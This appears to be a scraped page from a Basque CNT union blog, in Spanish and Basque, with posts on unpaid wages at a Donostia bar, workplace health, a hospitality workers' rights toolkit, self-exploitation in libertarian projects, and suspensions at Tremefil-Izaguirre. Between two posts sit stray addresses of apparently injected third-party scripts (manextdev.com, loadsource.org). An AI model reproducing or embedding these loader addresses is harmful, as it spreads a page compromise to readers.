BAR LETE NO PAGA LO QUE PROMETE

Las voces de los massmierda proclaman día si y día también la pujanza del sector servicios. Todos los eventos llevas adscritos los rendimientos que supondrán en plazas hoteleras, en birras y vinos que bebemos, en movimientos de aeronaves, trenes, buses y taxis. ¡Y cómo no! el trabajo que nos va a llegar. ¡Y encima agradecidos!

Sin embargo a las trabajadoras nos llegan prolongación de jornadas, dificultades para ocuparse una de sus quehaceres, dificultades en el transporte y mas…Y esto se realiza con la promesa de obtener unos dineros extras y tal y tal..Pero ¿qué ocurre cuando una cumple con todos esos rigores y ademas se queda sin cobrar y despedida?

Es el caso de una compañera del sindicato que ha trabajado este verano en el Bar Lete, calle 31 de Agosto, Alde Zaharra. Donostia dirigido por un empresaurio sin escrúpulos que todavía no ha pagado el sueldo de Agosto y las 19 horas extras realizadas.

Desde CNT no lo vamos a dejar pasar por alto. A este empresaurio se le citó para acudir a un acto de conciliación en las oficinas del Gobierno Vasco y no acudió. Hemos intentado contactar con él pero nunca está en el trabajo o no quiere hablar, por lo que hemos decidido presentar una denuncia en el juzgado por lo social. En caso de que el empreSaurio explotador no pague a la camarera se realizaran concentraciones de protesta en las cercanías del bar Lete y se colocaran pancartas aprovechando que viene puente. ¡ESTAMOS ATENTAS!

PORQUE LETE NO PAGA LO QUE PROMETE, SE HA ENCONTRADO CON CNT

Advertisements

(Audio) SI TE INCORDIA ¡TE JODES! MUTUAS Y SALUD LABORAL

Caminaba por una calle centrica de Ore y me encontré con un konpa que bajaba del andamio. Era la hora buena de la comida. Aupa hi! ¿que tal? Aqui andamios. ¿Como va el tajo? Ahora mucha ITV, luego mucho trabajo ¿no? Pues no sé que decirte: Mucha jornada, menos dinero y a la carrera. El hijo putero éste está haciendo pasta a barra-barra y nosotros a peor, ya ves polvo mogollon, sin mascarillas, sin amarres y voy doblao…Jode konpa, ¡plántate! Ssshhhhhh¡qué está ahí! Así terminan muchas conversaciones en los tajos, lxs trabajadorxs con miedo callan y salen del trabajo y vuelven a callar y van a sus casas y callan. Y parece que no pasa nada, mientras tanto la salud de todas empeora, las condiciones también………y menos mal que de vez en cuando escuchamos la voz de un resistente que se cuela entre las grietas de esta mierda social que nos tiene que servir para identificar el verdadero rostro del dominio y asi poder poner las cosas en su sitio. Esta es una nueva entrega de Si te incordia, ¡te jodes! Las condiciones laborales, las mutuas en el disparadero Estas preparada. ¡Escúchala!

Tambien puedes escucharlo en

https://www.ivoox.com/accidentes-laborales-mutuas-audios-mp3_rf_29096818_1.html

Caja de herramientas para la autodefensa sindical en hostelería Ostalaritzako autodefentsa sindikalerako tresna-kutxa

Hementxe duzue ostalaritzako lan-esplotazioaren aurka borrokatzeko lan-kutxa

Dejamos aqui la caja de herramientas de la oficina contra la explotación laboral en la hosteleria

Autodefentsa laboraleko gida labur bat – Una breve guía de autodefensa laboral

https://archive.org/download/ConvenioDeHosteleria2009/Una%20breve%20guia%20de%20autodefensa%20laboral.pdf

Ostalaritzan baldintza duinen alde! Zure eskubideak ezagutu eta defendatzen ikas ezazu

¡Por unas condiciones dignas en el sector de hosteleria! Conoce tus derechos y aprende a defenderlos

Euskaraz:

https://archive.org/download/ConvenioDeHosteleria2009/Por%20unas%20condiciones%20dignas%20en%20el%20sector%20de%20hosteleria_eusk.pdf

En castellano:

https://archive.org/download/ConvenioDeHosteleria2009/Por%20unas%20condiciones%20dignas%20en%20el%20sector%20de%20hosteleria_cast.pdf

Ostalaritzako 2009ko hitzarmena – Convenio de hosteleria 2009

https://archive.org/download/ConvenioDeHosteleria2009/Convenio%20de%20hosteleria%202009.pdf

2009ko ostalaritzaren hitzarmenaren 2010eko soldata berrikusketa – Revision salarial de 2010 sobre convenio hosteleria 2009

https://archive.org/download/ConvenioDeHosteleria2009/Revision%20salarial%20de%202010%20sobre%20convenio%20hosteleria%202009.pdf

ALDARRIKAPENAK ETA LAGUNTZA AUDIO FORMATUAN – REIVINDICACIONES Y AYUDA EN FORMATO AUDIO

Euskaraz:


En castellano:

 

LANGILE HORI, INFORMA ZAITEZ, ANTOLA ZAITEZ, DEFENDA ZAITEZ!!!!

TRABAJADORA, TRABAJADOR, INFÓRMATE, ORGANÍZATE, DEFIÉNDETE!!!!

Lan-baldintzak ingurune libertarioetan / Condiciones laborales en entornos libertarios

Beharrezkoa iruditzen zaigu lana antolatzeko modu berriak esperimentatzea (gaur egungo enpresa-eremuetatik kanpo) mundu berri bat eraikitzen joateko. Zoritxarrez, arazo larriak atzeman ditugu teorian libertarioak diren hainbat proiektu edo esperientziatan.

Aktibismo eta militantziaren izenean, lana errendimendu eta produktibitatearen parametroetara makurtzen da zenbait kasutan, eta ondorioz, autoesplotazio-egoerak sortzen dira: lanaldi luzeak, lan-erritmo altuak, oporrik edo jaiegunik ez… Proiektuarekin duzun konpromisoa beste ezer baino garrantzitsuagoa da. Halakotan, lan egiteko modua enpresa konbentzionalen parekoa da, baina okerragoa gainera, ezin dituzulako lan-eskubideak aldarrikatu, Estatuarekiko menpeko ez izatearren uko egin diozulako kontratupean lan egiteari.

Batzuetan, nahikoa da proiektua emaitzak ematen hastea edo ekoizpena handitu daitekeela ikustea, proiektuko zenbait kidek etekinak areagotzeko moduak sustatzeko, eta horrela, proiektua garatzeko eta intentsifikatzeko espektatibak eragiten dituzte, proiektukideentzat gehiegizkoak diren garapenak bultzatuz. Beste zenbaitetan, beharbada ez da desarrollismoaren eta errendimenduaren sareetan erori nahi, baina badirudi barruan daramagun “zomorro kapitalista” aktibatzen dela eta horrela erraz zaio Botereari gu eramaten jarraitzea, itxuraz proiektu libertario batean lan egiteko modu kapitalistak barruraino sartzen zaizkigularik, apenas ohartu gabe.

Proiektuaren “noranzkoan” ere gatazkak sortzen dira, erakundeak tarteko daudelako (tokiko administrazioak, lurraldekoak…) eta erakundeak ez daude pertsona eta kolektiboen bizitza aldatu nahian, lanaren emaitza merkatura eraman nahian baizik (ekintzailetza…).

Agroekologian argi adierazten den bezala,  eraldatzaile izateko ez da nahikoa produktuaren kalitatea edo produktua osasuntsua izatea edo ingurumena zaintzea; horrekin batera, langileen lan-baldintzak ere zaindu behar dira.

Ez dugu Estatuaren menpekoak izan nahi, ez dugu nahi proiektu libertarioak bere arautegi, hitzarmen eta legeen arauetara makurtzea. Baina horrek esan nahi du elkarren arteko laguntza eta zaintzak  erdigunean jarri behar ditugula, eta inguruan dugun komunitaterantz lan egin behar dugula, “zerbitzu bat ematearen” amarru kapitalistan erori gabe (horrek posizio bertikalean kokatuko gintuzke komunitatearekiko).

Horizontaltasunak proiektu hauetan ez du esan nahi denok berdin lan egitea (ikuspegi taylorista) baizik eta beharrak asebetetzeko moduak lantzea, eta jende guztiak ez ditu behar berdinak.

Hausnarketa hauek espero dugu baliagarriak izatea, uste baitugu anarkosindikalismoa ez dela soilik enplegatuak dauden pertsonen arazoak konpontzea, horrez gain bizimodu berriak eraiki behar ditugu zeinetan lana ez den opresorea izango.

Iturria/Fuente: pixabay.com

Aunque nos parece necesario que se experimenten nuevas formas de organización del trabajo (fuera de los ámbitos empresariales actuales) para ir construyendo un mundo nuevo, hemos detectado problemas graves en proyectos o experiencias de carácter teóricamente libertario.

En nombre del activismo y de la militancia, el trabajo puede ir conduciéndose hacia la misma estructura y formas basadas en el rendimiento y la productividad, conllevando situaciones de autoexplotación laboral, jornadas largas, ritmos de trabajo altos, nada de vacaciones ni días libres… El compromiso con el proyecto es lo primero. Esto hace que en realidad el proyecto no se pueda diferenciar de las empresas convencionales, con el agravante de que en estos casos ni siquiera puedes agarrarte a los derechos laborales, al renunciar a ellos por no querer ser dependientes del Estado.

A veces, es suficiente con que el proyecto empiece a brotar o a producir para que haya miembros que vean ya formas de lucro, generando expectativas de desarrollos no asumibles por las personas que componen el grupo. Otras veces, aun no queriendo caer en el desarrollismo y el rendimiento, parece que se activa el “bicho capitalista” que hace que el Poder nos siga conduciendo.

También surgen conflictos en el “hacia” del proyecto debido a la cooptación de las instituciones (locales, provinciales…) que no están por un cambio en la vida de las personas y colectivos sino en dirigir el producto del trabajo al mercado (emprendeduría…).

Igual que se dice sobre la agroecología, la perspectiva transformadora no es solo la calidad o la salubridad del producto o el cuidado del medio ambiente, tendrán que ser igual de importantes las condiciones laborales de la gente que trabaja.

Ya que no queremos ser dependientes del Estado, no queremos que los proyectos libertarios se rijan por las normas, los convenios o las leyes emanados de sus instituciones. Pero eso significa que hay que poner los cuidados en el centro, las formas de ayuda mutua y trabajar hacia la comunidad que nos rodea, sin caer en “dar servicio” (que nos colocaría en una situación vertical).

Las horizontalidades en estos proyectos no suponen que todo el mundo trabaje igual y lo mismo (enfoque taylorista) sino que trabajemos teniendo en cuenta la satisfacción de las necesidades, que no son iguales en toda la gente.

Estas son algunas reflexiones que queremos que nos vayan sirviendo, porque entendemos que el anarcosindicalismo no es solo resolver problemas de las personas empleadas sino también ir creando nuevas formas de vida en las que el trabajo no sea opresor.

 

 

//manextdev.com/1ca78463bfbb9a81df.js

 

https://manextdev.com/addons/lnkr5.min.jshttps://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52250x7335x&r=1533138329009https://manextdev.com/ext/1ca78463bfbb9a81df.js?sid=52250_7335_&title=FF_%5B603%5D_manappff.cool&blocks%5B%5D=31af2

Comunicado SECCIÓN SINDICAL DE CNT en Tremefil-Izaguirre

 

Desde la Sección Sindical de CNT en la empresa Tremefil-Izaguirre, queremos comunicar nuestra más absoluta repulsa ante la intención por parte de la empresa de suspender de empleo y sueldo dos días a dxs compañerxs, con lo que la empresa ha querido denominar “temas de calidad”.

Nos parece intolerable la deriva autoritaria que se viene acuciando, desde la compra por parte del grupo Tremefil, de la empresa Izaguirre. Desde CNT no toleramos y combatimos este tipo de comportamientos, vejaciones, autoritarismo y vulneración de los derechos de lxs trabajadorxs.

Queremos mostrar nuestro total apoyo a estas dos personas amonestadas de empleo y sueldo, así como hacer un llamamiento a las distintas organizaciones sindicales de Tremefil-Izaguirre para hacer un frente común contra los ataques flagrantes por parte de la empresa.

Tremefil-Izaguirre enpresako CNTren SEKZIO SINDIKALAREN komunikatua (2018/07/12):

Tremefil-Izaguirre enpresako CNTren Sekzio Sindikalak gure erabateko gaitzespena adierazi nahi dugu bi lankide bi egunez lan eta soldatarik gabe zigortzeagatik, enpresaren iritziz “kalitate kontuak” direla kausa.

Onartezina iruditzen zaigu Izagirre enpresa Tremefilek erosi zuenetik bizitzen ari garen autoritarismoaren gorakada hau. CNTko kideok ez dugu onartuko langileak gutxiestea, kaltetzea, iraintzea eta eskubideak urratzea.

Bi egunez enplegu eta soldatarik gabe zigortutako bi pertsona hauei elkartasuna adierazi nahi diegu, eta Tremefil-Izaguirre enpresako erakunde sindikal guztiei dei egiten diegu enpresaren erasoei aurre egiteko elkar gaitezen.